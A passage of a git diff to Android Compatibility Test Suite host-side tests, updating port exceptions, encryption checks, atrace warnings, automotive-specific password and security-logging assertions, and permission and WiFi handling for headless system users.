+ return "file".equals(getDevice().getProperty("ro.crypto.type"));
}
private void assumeSupportedDevice() throws Exception {
diff --git a/hostsidetests/appsecurity/test-apps/ListeningPortsApp/src/android/appsecurity/cts/listeningports/ListeningPortsTest.java b/hostsidetests/appsecurity/test-apps/ListeningPortsApp/src/android/appsecurity/cts/listeningports/ListeningPortsTest.java
index 8deeb76..cd41b61 100644
--- a/hostsidetests/appsecurity/test-apps/ListeningPortsApp/src/android/appsecurity/cts/listeningports/ListeningPortsTest.java
+++ b/hostsidetests/appsecurity/test-apps/ListeningPortsApp/src/android/appsecurity/cts/listeningports/ListeningPortsTest.java
@@ -86,6 +86,11 @@
// TODO: this is not standard notation for IPv6. Use [$addr]:$port instead as per RFC 3986.
EXCEPTION_PATTERNS.add(":::5555"); // emulator port for adb
EXCEPTION_PATTERNS.add(":::7275"); // used by supl
+
+ // DHCP: This port is open when a network is connected before DHCP is resolved
+ // And can also be opened on boot for ethernet networks.
+ // Thus a device connected via wifi with an ethernet port can encounter this.
+ EXCEPTION_PATTERNS.add("0.0.0.0:68");
}
/**
diff --git a/hostsidetests/appsecurity/test-apps/RoleSecurityTestApp/OWNERS b/hostsidetests/appsecurity/test-apps/RoleSecurityTestApp/OWNERS
index b4292a6..c8271f9 100644
--- a/hostsidetests/appsecurity/test-apps/RoleSecurityTestApp/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/RoleSecurityTestApp/OWNERS
@@ -1,3 +1,3 @@
# Bug component: 137825
-ewol@google.com
+ashfall@google.com
zhanghai@google.com
diff --git a/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java b/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java
index 72c3cae..0e8186d 100644
--- a/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java
+++ b/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java
@@ -122,7 +122,8 @@
UiScrollable localObject = new UiScrollable(new UiSelector().scrollable(true).instance(j));
((UiScrollable) localObject).setMaxSearchSwipes(10);
try {
- ((UiScrollable) localObject).scrollTextIntoView("internal storage");
+ ((UiScrollable) localObject).scrollIntoView(
+ new UiSelector().textContains("internal storage"));
} catch (UiObjectNotFoundException localUiObjectNotFoundException) {
// Scrolling can fail if the UI is not scrollable
}
@@ -133,7 +134,7 @@
device.findObject(new UiSelector().textContains("Clear")).click();
device.waitForIdle();
- device.findObject(new UiSelector().text("OK")).click();
+ device.findObject(new UiSelector().text("DELETE")).click();
}
private void clearSpaceWatch(UiDevice device) throws UiObjectNotFoundException {
diff --git a/hostsidetests/atrace/src/android/atrace/cts/AtraceHostTest.java b/hostsidetests/atrace/src/android/atrace/cts/AtraceHostTest.java
index f761e8f..7beb7c8 100644
--- a/hostsidetests/atrace/src/android/atrace/cts/AtraceHostTest.java
+++ b/hostsidetests/atrace/src/android/atrace/cts/AtraceHostTest.java
@@ -49,6 +49,11 @@
*/
public class AtraceHostTest extends AtraceHostTestBase {
+ private static final String WARNING_STRING =
+ "** Warning: atrace will end vendor support in the next Android Release. **\n" +
+ "** Perfetto is the suggested replacement tool. It will gain vendor **\n" +
+ "** support. See https://perfetto.dev/docs/quickstart/android-tracing **\n\n";
+
private interface FtraceEntryCallback {
void onTraceEntry(String threadName, int pid, int tid, String eventType, String args);
void onFinished();
@@ -95,7 +100,7 @@
* Tests that atrace exists and is runnable with no args
*/
public void testSimpleRun() {
- String output = shell("atrace");
+ String output = shell("atrace 2> /dev/null");
String[] lines = output.split("\\r?\\n");
// check for expected stdout
@@ -110,7 +115,7 @@
* Tests the output of "atrace --list_categories" to ensure required categories exist.
*/
public void testCategories() {
- String output = shell("atrace --list_categories");
+ String output = shell("atrace --list_categories 2> /dev/null");
String[] categories = output.split("\\r?\\n");
Set<String> requiredCategories = new HashSet<String>(Arrays.asList(
@@ -133,6 +138,11 @@
}
}
+ public void testStderrWarning() {
+ String output = shell("atrace > /dev/null");
+ assertEquals(WARNING_STRING, output);
+ }
+
public void testTracingIsEnabled() {
runSingleAppTest(assertTracingOff);
traceSingleTest(assertTracingOn, true);
diff --git a/hostsidetests/calllog/src/android/provider/cts/contacts/hostside/ShadowCallLogTest.java b/hostsidetests/calllog/src/android/provider/cts/contacts/hostside/ShadowCallLogTest.java
index 272a3df..42922e1 100644
--- a/hostsidetests/calllog/src/android/provider/cts/contacts/hostside/ShadowCallLogTest.java
+++ b/hostsidetests/calllog/src/android/provider/cts/contacts/hostside/ShadowCallLogTest.java
@@ -44,11 +44,6 @@
private static final String CLASS = PKG + ".CallLogDirectBootTest";
private static final String APK = "CtsCallLogDirectBootApp.apk";
- private static final String MODE_EMULATED = "emulated";
- private static final String MODE_NONE = "none";
-
- private static final long SHUTDOWN_TIME_MS = 30 * 1000;
-
@Before
public void setUp() throws Exception {
assertNotNull(getAbi());
@@ -64,9 +59,8 @@
@Test
public void testDirectBootCallLog() throws Exception {
- String fbeMode = getDevice().executeShellCommand("sm get-fbe-mode").trim();
- if (MODE_NONE.equals(fbeMode)) {
- Log.i(TAG, "Device doesn't support FBE, skipping.");
+ if (!"file".equals(getDevice().getProperty("ro.crypto.type"))) {
+ Log.i(TAG, "Device doesn't use FBE, skipping.");
return;
}
try {
@@ -85,16 +79,7 @@
Log.i(TAG, "Rebooting device");
// Reboot system into known state with keys ejected
- if (MODE_EMULATED.equals(fbeMode)) {
- final String res = getDevice().executeShellCommand("sm set-emulate-fbe true");
- if (res != null && res.contains("Emulation not supported")) {
- return;
- }
- getDevice().waitForDeviceNotAvailable(SHUTDOWN_TIME_MS);
- getDevice().waitForDeviceOnline(120000);
- } else {
- getDevice().rebootUntilOnline();
- }
+ getDevice().rebootUntilOnline();
waitForBootCompleted(getDevice());
assertTrue(runDeviceTests(PKG, CLASS, "testShadowCallComposerPicture"));
@@ -110,13 +95,7 @@
getDevice().uninstallPackage(PKG);
// Get ourselves back into a known-good state
- if (MODE_EMULATED.equals(fbeMode)) {
- getDevice().executeShellCommand("sm set-emulate-fbe false");
- getDevice().waitForDeviceNotAvailable(SHUTDOWN_TIME_MS);
- getDevice().waitForDeviceOnline();
- } else {
- getDevice().rebootUntilOnline();
- }
+ getDevice().rebootUntilOnline();
getDevice().waitForDeviceAvailable();
}
}
diff --git a/hostsidetests/car/OWNERS b/hostsidetests/car/OWNERS
index d4705b9..c5bee2d 100644
--- a/hostsidetests/car/OWNERS
+++ b/hostsidetests/car/OWNERS
@@ -1,4 +1,2 @@
# Bug component: 526680
-felipeal@google.com
-gurunagarajan@google.com
-keunyoung@google.com
+include platform/packages/services/Car:/OWNERS
diff --git a/hostsidetests/car/app/src/android/car/cts/app/CarWatchdogTestActivity.java b/hostsidetests/car/app/src/android/car/cts/app/CarWatchdogTestActivity.java
index 7057462..66c6c5a 100644
--- a/hostsidetests/car/app/src/android/car/cts/app/CarWatchdogTestActivity.java
+++ b/hostsidetests/car/app/src/android/car/cts/app/CarWatchdogTestActivity.java
@@ -299,6 +299,7 @@
CarWatchdogManager.FLAG_RESOURCE_OVERUSE_IO,
CarWatchdogManager.STATS_PERIOD_CURRENT_DAY);
}
+ Log.d(TAG, "Fetched resource overuse stats: " + stats);
IoOveruseStats ioOveruseStats = stats.getIoOveruseStats();
if (ioOveruseStats == null) {
setDumpMessage(
@@ -312,7 +313,6 @@
+ "' returned by get request");
return 0;
}
- Log.d(TAG, ioOveruseStats.toString());
/*
* Check for foreground mode bytes given CtsCarApp is running in the foreground
* during testing.
@@ -343,26 +343,24 @@
@Override
public void onOveruse(ResourceOveruseStats resourceOveruseStats) {
synchronized (mLock) {
+ Log.d(TAG, "onOveruse callback received: " + resourceOveruseStats);
mForegroundModeBytes = -1;
mNotificationReceived = true;
mLock.notifyAll();
- }
- Log.d(TAG, resourceOveruseStats.toString());
- if (resourceOveruseStats.getIoOveruseStats() == null) {
- setDumpMessage(
- "ERROR: No I/O overuse stats reported for the application in the overuse "
- + "notification.");
- return;
- }
- long reportedWrittenBytes =
- resourceOveruseStats.getIoOveruseStats().getTotalBytesWritten();
- if (reportedWrittenBytes < mExpectedMinWrittenBytes) {
- setDumpMessage("ERROR: Actual written bytes to disk '" + mExpectedMinWrittenBytes
- + "' don't match written bytes '" + reportedWrittenBytes
- + "' reported in overuse notification");
- return;
- }
- synchronized (mLock) {
+ if (resourceOveruseStats.getIoOveruseStats() == null) {
+ setDumpMessage(
+ "ERROR: No I/O overuse stats reported for the application in the "
+ + "overuse notification.");
+ return;
+ }
+ long reportedWrittenBytes =
+ resourceOveruseStats.getIoOveruseStats().getTotalBytesWritten();
+ if (reportedWrittenBytes < mExpectedMinWrittenBytes) {
+ setDumpMessage("ERROR: Actual written bytes to disk '"
+ + mExpectedMinWrittenBytes + "' don't match written bytes '"
+ + reportedWrittenBytes + "' reported in overuse notification");
+ return;
+ }
mForegroundModeBytes =
resourceOveruseStats.getIoOveruseStats().getRemainingWriteBytes()
.getForegroundModeBytes();
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml
index fcc7d5d..472cdbc 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml
@@ -44,7 +44,7 @@
<!-- Add a network security config that trusts user added CAs for tests -->
<application android:networkSecurityConfig="@xml/network_security_config"
- android:testOnly="true">
+ android:testOnly="true" android:debuggable="true">
<uses-library android:name="android.test.runner"/>
<receiver android:name="com.android.cts.deviceandprofileowner.BaseDeviceAdminTest$BasicAdminReceiver"
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java
index 67a5085..76126cf 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java
@@ -127,6 +127,8 @@
protected UserManager mUserManager;
protected Context mContext;
protected boolean mHasSecureLockScreen;
+ protected boolean mIsAutomotive;
+ protected boolean mIsDeviceOwnerTest;
static CountDownLatch mOnPasswordExpiryTimeoutCalled;
protected final String mTag = getClass().getSimpleName();
@@ -141,12 +143,14 @@
mHasSecureLockScreen = mContext.getPackageManager().hasSystemFeature(
PackageManager.FEATURE_SECURE_LOCK_SCREEN);
+ mIsAutomotive = mContext.getPackageManager().hasSystemFeature(
+ PackageManager.FEATURE_AUTOMOTIVE);
- boolean isDeviceOwnerTest = "DeviceOwner"
+ mIsDeviceOwnerTest = "DeviceOwner"
.equals(InstrumentationRegistry.getArguments().getString("admin_type"));
mDevicePolicyManager = TestAppSystemServiceFactory.getDevicePolicyManager(mContext,
- BasicAdminReceiver.class, isDeviceOwnerTest);
+ BasicAdminReceiver.class, mIsDeviceOwnerTest);
Log.v(TAG, "setup(): dpm for " + getClass() + " and user " + mContext.getUserId() + ": "
+ mDevicePolicyManager);
@@ -159,7 +163,7 @@
Log.d(mTag, "setup() on user " + mContext.getUserId() + ": package=" + PACKAGE_NAME
+ ", adminReceiverComponent=" + ADMIN_RECEIVER_COMPONENT
+ ", isActiveAdmin=" + isActiveAdmin + ", isProfileOwner=" + isProfileOwner
- + ", isDeviceOwner=" + isDeviceOwner + ", isDeviceOwnerTest=" + isDeviceOwnerTest);
+ + ", isDeviceOwner=" + isDeviceOwner + ", isDeviceOwnerTest=" + mIsDeviceOwnerTest);
assertWithMessage("active admin for %s", ADMIN_RECEIVER_COMPONENT).that(isActiveAdmin)
.isTrue();
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/GetPasswordExpirationTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/GetPasswordExpirationTest.java
index 3ce561a..8225417 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/GetPasswordExpirationTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/GetPasswordExpirationTest.java
@@ -45,7 +45,7 @@
public void testGetPasswordExpirationUpdatedAfterPasswordReset_afterReset() throws Exception {
checkPasswordExpiration("Password expiration time not refreshed correctly"
- + " after reseting password", TIMEOUT_RESET_TEST, 10000);
+ + " after resetting password", TIMEOUT_RESET_TEST, 19000);
}
private void checkPasswordExpiration(String error, long timeout, long tolerance) {
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PasswordRequirementsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PasswordRequirementsTest.java
index f9ce726..59a5a5c6 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PasswordRequirementsTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PasswordRequirementsTest.java
@@ -22,18 +22,22 @@
import static org.testng.Assert.assertThrows;
+import android.util.Log;
+
/**
* Class that tests password constraints API preconditions.
*/
public class PasswordRequirementsTest extends BaseDeviceAdminTest {
+
private static final int TEST_VALUE = 5;
+
+ private static final int DEFAULT_LENGTH = 0;
private static final int DEFAULT_NUMERIC = 1;
private static final int DEFAULT_LETTERS = 1;
private static final int DEFAULT_UPPERCASE = 0;
private static final int DEFAULT_LOWERCASE = 0;
private static final int DEFAULT_NON_LETTER = 0;
private static final int DEFAULT_SYMBOLS = 1;
- private static final int DEFAULT_LENGTH = 0;
public void testPasswordConstraintsDoesntThrowAndPreservesValuesPreR() {
// Pre-R password restrictions can be set in any order.
@@ -51,23 +55,46 @@
// Make sure these values are preserved and not reset when quality is set low.
mDevicePolicyManager.setPasswordQuality(
ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_UNSPECIFIED);
- assertEquals(TEST_VALUE,
- mDevicePolicyManager.getPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT));
- assertEquals(TEST_VALUE,
- mDevicePolicyManager.getPasswordMinimumNumeric(ADMIN_RECEIVER_COMPONENT));
- assertEquals(TEST_VALUE,
- mDevicePolicyManager.getPasswordMinimumLetters(ADMIN_RECEIVER_COMPONENT));
- assertEquals(TEST_VALUE,
- mDevicePolicyManager.getPasswordMinimumUpperCase(ADMIN_RECEIVER_COMPONENT));
- assertEquals(TEST_VALUE,
- mDevicePolicyManager.getPasswordMinimumLowerCase(ADMIN_RECEIVER_COMPONENT));
- assertEquals(TEST_VALUE,
- mDevicePolicyManager.getPasswordMinimumNonLetter(ADMIN_RECEIVER_COMPONENT));
- assertEquals(TEST_VALUE,
- mDevicePolicyManager.getPasswordMinimumSymbols(ADMIN_RECEIVER_COMPONENT));
+ if (mIsAutomotive) {
+ assertEquals(DEFAULT_LENGTH,
+ mDevicePolicyManager.getPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT));
+ assertEquals(DEFAULT_NUMERIC,
+ mDevicePolicyManager.getPasswordMinimumNumeric(ADMIN_RECEIVER_COMPONENT));
+ assertEquals(DEFAULT_LETTERS,
+ mDevicePolicyManager.getPasswordMinimumLetters(ADMIN_RECEIVER_COMPONENT));
+ assertEquals(DEFAULT_UPPERCASE,
+ mDevicePolicyManager.getPasswordMinimumUpperCase(ADMIN_RECEIVER_COMPONENT));
+ assertEquals(DEFAULT_LOWERCASE,
+ mDevicePolicyManager.getPasswordMinimumLowerCase(ADMIN_RECEIVER_COMPONENT));
+ assertEquals(DEFAULT_NON_LETTER,
+ mDevicePolicyManager.getPasswordMinimumNonLetter(ADMIN_RECEIVER_COMPONENT));
+ assertEquals(DEFAULT_SYMBOLS,
+ mDevicePolicyManager.getPasswordMinimumSymbols(ADMIN_RECEIVER_COMPONENT));
+ } else {
+ assertEquals(TEST_VALUE,
+ mDevicePolicyManager.getPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT));
+ assertEquals(TEST_VALUE,
+ mDevicePolicyManager.getPasswordMinimumNumeric(ADMIN_RECEIVER_COMPONENT));
+ assertEquals(TEST_VALUE,
+ mDevicePolicyManager.getPasswordMinimumLetters(ADMIN_RECEIVER_COMPONENT));
+ assertEquals(TEST_VALUE,
+ mDevicePolicyManager.getPasswordMinimumUpperCase(ADMIN_RECEIVER_COMPONENT));
+ assertEquals(TEST_VALUE,
+ mDevicePolicyManager.getPasswordMinimumLowerCase(ADMIN_RECEIVER_COMPONENT));
+ assertEquals(TEST_VALUE,
+ mDevicePolicyManager.getPasswordMinimumNonLetter(ADMIN_RECEIVER_COMPONENT));
+ assertEquals(TEST_VALUE,
+ mDevicePolicyManager.getPasswordMinimumSymbols(ADMIN_RECEIVER_COMPONENT));
+
+ }
}
public void testSettingConstraintsWithLowQualityThrowsOnRPlus() {
+ if (!deviceSupportDeprecatedPasswordQualityAPIs(
+ "testSettingConstraintsWithLowQualityThrowsOnRPlus")) {
+ return;
+ }
+
// On R and above quality should be set first.
mDevicePolicyManager.setPasswordQuality(
ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_SOMETHING);
@@ -89,6 +116,11 @@
}
public void testSettingConstraintsWithNumericQualityOnlyLengthAllowedOnRPlus() {
+ if (!deviceSupportDeprecatedPasswordQualityAPIs(
+ "testSettingConstraintsWithNumericQualityOnlyLengthAllowedOnRPlus")) {
+ return;
+ }
+
// On R and above quality should be set first.
mDevicePolicyManager.setPasswordQuality(
ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_NUMERIC);
@@ -112,6 +144,11 @@
}
public void testSettingConstraintsWithComplexQualityAndResetWithLowerQuality() {
+ if (!deviceSupportDeprecatedPasswordQualityAPIs(
+ "testSettingConstraintsWithComplexQualityAndResetWithLowerQuality")) {
+ return;
+ }
+
// On R and above when quality is lowered, irrelevant requirements are getting reset.
mDevicePolicyManager.setPasswordQuality(
ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_COMPLEX);
@@ -153,6 +190,13 @@
// Now length should also be reset.
assertEquals(DEFAULT_LENGTH,
mDevicePolicyManager.getPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT));
+ }
+ private boolean deviceSupportDeprecatedPasswordQualityAPIs(String test) {
+ if (mIsAutomotive) {
+ Log.d(mTag, "Skipping " + test + "on automotive build");
+ return false;
+ }
+ return true;
}
}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java
index f0d69e8..1ab76e5 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java
@@ -34,8 +34,11 @@
import android.Manifest.permission;
import android.app.UiAutomation;
import android.app.admin.DevicePolicyManager;
+import android.content.Context;
import android.content.IntentFilter;
import android.os.Process;
+import android.os.UserHandle;
+import android.os.UserManager;
import android.support.test.uiautomator.By;
import android.support.test.uiautomator.BySelector;
import android.support.test.uiautomator.UiDevice;
@@ -238,27 +241,43 @@
private void assertCanSetPermissionGrantStatePreMApp(String permission, int value)
throws Exception {
- assertTrue(mDevicePolicyManager.setPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
- PRE_M_APP_PACKAGE_NAME, permission, value));
- assertEquals(mDevicePolicyManager.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
- PRE_M_APP_PACKAGE_NAME, permission), value);
+ Log.d(TAG, "Calling " + mDevicePolicyManager + ".setPermissionGrantState("
+ + PRE_M_APP_PACKAGE_NAME + ", " + permission + ", "
+ + permissionGrantStateToString(value) + ")");
+ boolean result = mDevicePolicyManager.setPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
+ PRE_M_APP_PACKAGE_NAME, permission, value);
+ Log.d(TAG, "Result: " + result);
+
+ assertWithMessage("%s.setPermissionGrantState(%s, %s, %s)", mDevicePolicyManager,
+ ADMIN_RECEIVER_COMPONENT, PRE_M_APP_PACKAGE_NAME,
+ permissionGrantStateToString(value)).that(result).isTrue();
+
+ assertPermissionGrantState(mDevicePolicyManager, PRE_M_APP_PACKAGE_NAME, permission, value);
+
+ Context context = mContext;
+ if (mIsDeviceOwnerTest && UserManager.isHeadlessSystemUserMode()) {
+ Log.d(TAG, "Using context for system user on device owner test because device uses "
+ + "headless system user mode");
+ context = mContext.createContextAsUser(UserHandle.SYSTEM, /* flags= */ 0);
+ }
// Install time permissions should always be granted
- PermissionUtils.checkPermission(permission, PERMISSION_GRANTED, PRE_M_APP_PACKAGE_NAME);
+ PermissionUtils.checkPermission(context, permission, PERMISSION_GRANTED,
+ PRE_M_APP_PACKAGE_NAME);
// For pre-M apps the access to the data might be prevented via app-ops. Hence check that
// they are correctly set
switch (value) {
case PERMISSION_GRANT_STATE_GRANTED:
- PermissionUtils.checkPermissionAndAppOps(permission, PERMISSION_GRANTED,
+ PermissionUtils.checkPermissionAndAppOps(context, permission, PERMISSION_GRANTED,
PRE_M_APP_PACKAGE_NAME);
break;
case PERMISSION_GRANT_STATE_DENIED:
- PermissionUtils.checkPermissionAndAppOps(permission, PERMISSION_DENIED,
+ PermissionUtils.checkPermissionAndAppOps(context, permission, PERMISSION_DENIED,
PRE_M_APP_PACKAGE_NAME);
break;
default:
- fail("unsupported policy value");
+ fail("unsupported policy value (" + value + ")");
}
}
@@ -438,9 +457,10 @@
int grantState) {
boolean result = dpm.setPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
PERMISSION_APP_PACKAGE_NAME, permission, grantState);
- Log.d(TAG, "setPermissionGrantState(" + permission + "): requested " + grantState + " ("
- + permissionGrantStateToString(grantState) + ") using DPM " + mDevicePolicyManager
- + " on uid " + Process.myUid() + ", got " + result);
+ Log.d(TAG, "setPermissionGrantState(" + PERMISSION_APP_PACKAGE_NAME + ", " + permission
+ + "): requested " + grantState + " (" + permissionGrantStateToString(grantState)
+ + ") using DPM " + mDevicePolicyManager + " on uid " + Process.myUid()
+ + ", got " + result);
return result;
}
@@ -450,12 +470,17 @@
private void assertPermissionGrantState(DevicePolicyManager dpm, String permission,
int expectedState) {
+ assertPermissionGrantState(dpm, PERMISSION_APP_PACKAGE_NAME, permission, expectedState);
+ }
+
+ private void assertPermissionGrantState(DevicePolicyManager dpm, String packageName,
+ String permission, int expectedState) {
int actualState = dpm.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
- PERMISSION_APP_PACKAGE_NAME, permission);
+ packageName, permission);
assertWithMessage("%s.getPermissionGrantState(%s, %s, %s) (where %s=%s and %s=%s)",
- mDevicePolicyManager, ADMIN_RECEIVER_COMPONENT, PERMISSION_APP_PACKAGE_NAME,
- permission, expectedState, permissionGrantStateToString(expectedState),
+ mDevicePolicyManager, ADMIN_RECEIVER_COMPONENT, packageName, permission,
+ expectedState, permissionGrantStateToString(expectedState),
actualState, permissionGrantStateToString(actualState))
.that(actualState)
.isEqualTo(expectedState);
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecurityLoggingTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecurityLoggingTest.java
index db28c24..d8fd8df 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecurityLoggingTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecurityLoggingTest.java
@@ -491,14 +491,24 @@
return findEvent(description, events, e -> e.getTag() == tag);
}
+ private List<SecurityEvent> findEvents(List<SecurityEvent> events,
+ Predicate<SecurityEvent> predicate) {
+ return events.stream().filter(predicate).collect(Collectors.toList());
+ }
+
private SecurityEvent findEvent(String description, List<SecurityEvent> events,
Predicate<SecurityEvent> predicate) {
- final List<SecurityEvent> matches =
- events.stream().filter(predicate).collect(Collectors.toList());
+ final List<SecurityEvent> matches = findEvents(events, predicate);
assertEquals("Invalid number of matching events: " + description, 1, matches.size());
return matches.get(0);
}
+ private void assertNumberEvents(String description, List<SecurityEvent> events,
+ Predicate<SecurityEvent> predicate, int expectedSize) {
+ assertEquals("Invalid number of matching events: " + description, expectedSize,
+ findEvents(events, predicate).size());
+ }
+
private static Object getDatum(SecurityEvent event, int index) {
final Object[] dataArray = (Object[]) event.getData();
return dataArray[index];
@@ -679,21 +689,21 @@
// The order should be consistent with the order in generatePasswordComplexityEvents(), so
// that the expected values change in the same sequence as when setting password policies.
expectedPayload[PWD_QUALITY_INDEX] = PASSWORD_QUALITY_COMPLEX;
- findPasswordComplexityEvent("set pwd quality", events, expectedPayload);
+ assertPasswordComplexityEvent("set pwd quality", events, expectedPayload);
expectedPayload[PWD_LEN_INDEX] = TEST_PWD_LENGTH;
- findPasswordComplexityEvent("set pwd length", events, expectedPayload);
+ assertPasswordComplexityEvent("set pwd length", events, expectedPayload);
expectedPayload[LETTERS_INDEX] = TEST_PWD_CHARS;
- findPasswordComplexityEvent("set pwd min letters", events, expectedPayload);
+ assertPasswordComplexityEvent("set pwd min letters", events, expectedPayload);
expectedPayload[NON_LETTERS_INDEX] = TEST_PWD_CHARS;
- findPasswordComplexityEvent("set pwd min non-letters", events, expectedPayload);
+ assertPasswordComplexityEvent("set pwd min non-letters", events, expectedPayload);
expectedPayload[UPPERCASE_INDEX] = TEST_PWD_CHARS;
- findPasswordComplexityEvent("set pwd min uppercase", events, expectedPayload);
+ assertPasswordComplexityEvent("set pwd min uppercase", events, expectedPayload);
expectedPayload[LOWERCASE_INDEX] = TEST_PWD_CHARS;
- findPasswordComplexityEvent("set pwd min lowercase", events, expectedPayload);
+ assertPasswordComplexityEvent("set pwd min lowercase", events, expectedPayload);
expectedPayload[NUMERIC_INDEX] = TEST_PWD_CHARS;
- findPasswordComplexityEvent("set pwd min numeric", events, expectedPayload);
+ assertPasswordComplexityEvent("set pwd min numeric", events, expectedPayload);
expectedPayload[SYMBOLS_INDEX] = TEST_PWD_CHARS;
- findPasswordComplexityEvent("set pwd min symbols", events, expectedPayload);
+ assertPasswordComplexityEvent("set pwd min symbols", events, expectedPayload);
}
private void verifyNewStylePasswordComplexityEventPresent(List<SecurityEvent> events) {
@@ -769,10 +779,11 @@
getInt(e, ADMIN_USER_INDEX) == userId);
}
- private void findPasswordComplexityEvent(
+ private void assertPasswordComplexityEvent(
String description, List<SecurityEvent> events, Object[] expectedPayload) {
- findEvent(description, events,
- byTagAndPayload(TAG_PASSWORD_COMPLEXITY_SET, expectedPayload));
+ int expectedSize = mIsAutomotive ? 0 : 1;
+ assertNumberEvents(description, events,
+ byTagAndPayload(TAG_PASSWORD_COMPLEXITY_SET, expectedPayload), expectedSize);
}
private void findNewStylePasswordComplexityEvent(
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseDeviceOwnerTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseDeviceOwnerTest.java
index 5f8766e..acbfb08 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseDeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseDeviceOwnerTest.java
@@ -52,6 +52,7 @@
protected DevicePolicyManager mDevicePolicyManager;
protected WifiManager mWifiManager;
+ protected WifiManager mCurrentUserWifiManager;
protected WifiConfigCreator mWifiConfigCreator;
protected Instrumentation mInstrumentation;
protected UiDevice mDevice;
@@ -75,15 +76,8 @@
BasicAdminReceiver.class, /* forDeviceOwner= */ true);
mWifiManager = TestAppSystemServiceFactory.getWifiManager(mContext,
BasicAdminReceiver.class);
- WifiManager currentUserWifiManager = mContext.getSystemService(WifiManager.class);
- mWifiConfigCreator = new WifiConfigCreator(mContext, mWifiManager) {
- @Override
- public List<WifiConfiguration> getConfiguredNetworks() {
- // Must always use the current user's wifi manager, otherwise it would fail on
- // headless system user (as the device owner is not the current user).
- return currentUserWifiManager.getConfiguredNetworks();
- }
- };
+ mCurrentUserWifiManager = mContext.getSystemService(WifiManager.class);
+ mWifiConfigCreator = new WifiConfigCreator(mContext, mWifiManager);
mHasSecureLockScreen = mContext.getPackageManager().hasSystemFeature(
PackageManager.FEATURE_SECURE_LOCK_SCREEN);
@@ -127,4 +121,12 @@
protected final UserHandle getCurrentUser() {
return UserHandle.of(ActivityManager.getCurrentUser());
}
+
+ protected final List<WifiConfiguration> getConfiguredNetworks() {
+ // Must use a the WifiManager of the current user to list networks, as
+ // getConfiguredNetworks() would return empty on systems using headless system
+ // mode as that method "Return a list of all the networks configured for the current
+ // foreground user", and the system user is running in the background in this case.
+ return mCurrentUserWifiManager.getConfiguredNetworks();
+ }
}
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java
index 32cc187..4f98568 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java
